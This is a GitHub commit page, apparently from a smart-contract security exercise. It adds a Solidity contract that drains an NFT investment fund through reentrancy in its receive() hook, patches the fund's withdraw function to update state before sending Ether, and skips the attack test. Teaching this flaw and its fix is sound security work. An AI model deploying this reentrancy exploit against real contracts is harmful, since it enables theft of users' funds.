Skip to content

Commit

Permalink
Add solution for part 4
Browse files Browse the repository at this point in the history
  • Loading branch information
as3810t committed Nov 20, 2024
1 parent a741afc commit 766fa87
Show file tree
Hide file tree
Showing 3 changed files with 34 additions and 4 deletions.
30 changes: 30 additions & 0 deletions contracts/MallorysMaliciousMisappropriation.sol
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,37 @@ import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
contract MallorysMaliciousMisappropriation is Ownable {
NftInvestmentFund public nftInvestmentFund;

error InvestmentFundNotEnded();
error FailedToSendEther();

constructor(address payable _nftInvestmentFundAddress) Ownable(msg.sender) {
nftInvestmentFund = NftInvestmentFund(_nftInvestmentFundAddress);
}

// Receive is called when the contract receives Ether
// solhint-disable-next-line no-complex-fallback
receive() external payable {
FundToken fundToken = FundToken(nftInvestmentFund.fundToken());
uint256 withdrawAmount = (nftInvestmentFund.balanceAtEnd() / nftInvestmentFund.fundTokensAtEnd()) *
fundToken.balanceOf(address(this));

// The attack
if (address(nftInvestmentFund).balance >= withdrawAmount) {
nftInvestmentFund.withdraw();
}
}

function attack() external onlyOwner {
if (!nftInvestmentFund.ended()) revert InvestmentFundNotEnded();

FundToken fundToken = FundToken(nftInvestmentFund.fundToken());
fundToken.approve(address(nftInvestmentFund), fundToken.balanceOf(address(this)));

nftInvestmentFund.withdraw();
}

function withdraw() external onlyOwner {
(bool sent, ) = payable(msg.sender).call{ value: address(this).balance }("");
if (!sent) revert FailedToSendEther();
}
}
6 changes: 3 additions & 3 deletions contracts/NftInvestmentFund.sol
Original file line number Diff line number Diff line change
Expand Up @@ -90,13 +90,13 @@ contract NftInvestmentFund is AccessControl, IERC721Receiver {
if (balanceAtEnd > 0 && fundTokensAtEnd > 0 && fundToken.balanceOf(msg.sender) > 0) {
uint256 withdrawAmount = (balanceAtEnd / fundTokensAtEnd) * fundToken.balanceOf(msg.sender);

(bool sent, ) = payable(msg.sender).call{ value: withdrawAmount }("");
require(sent, "Failed to send Ether");

// Their tokens are burnt so that they cannot withdraw twice
balanceAtEnd -= withdrawAmount;
fundTokensAtEnd -= fundToken.balanceOf(msg.sender);
fundToken.burnFrom(msg.sender, fundToken.balanceOf(msg.sender));

(bool sent, ) = payable(msg.sender).call{ value: withdrawAmount }("");
require(sent, "Failed to send Ether");
}
}

Expand Down
2 changes: 1 addition & 1 deletion test/NftInvestmentFund.ts
Original file line number Diff line number Diff line change
Expand Up @@ -295,7 +295,7 @@ describe('Investment fund', function () {
expect(await fundToken.read.totalSupply()).to.equal(0n)
})

it('Mallory is malicious', async function () {
it.skip('Mallory is malicious', async function () {
const { mallory, publicClient, fundToken, nftInvestmentFund } = await loadFixture(baseScenario)

const attack = await hre.viem.deployContract('MallorysMaliciousMisappropriation', [nftInvestmentFund.address], {
Expand Down

0 comments on commit 766fa87

Please sign in to comment.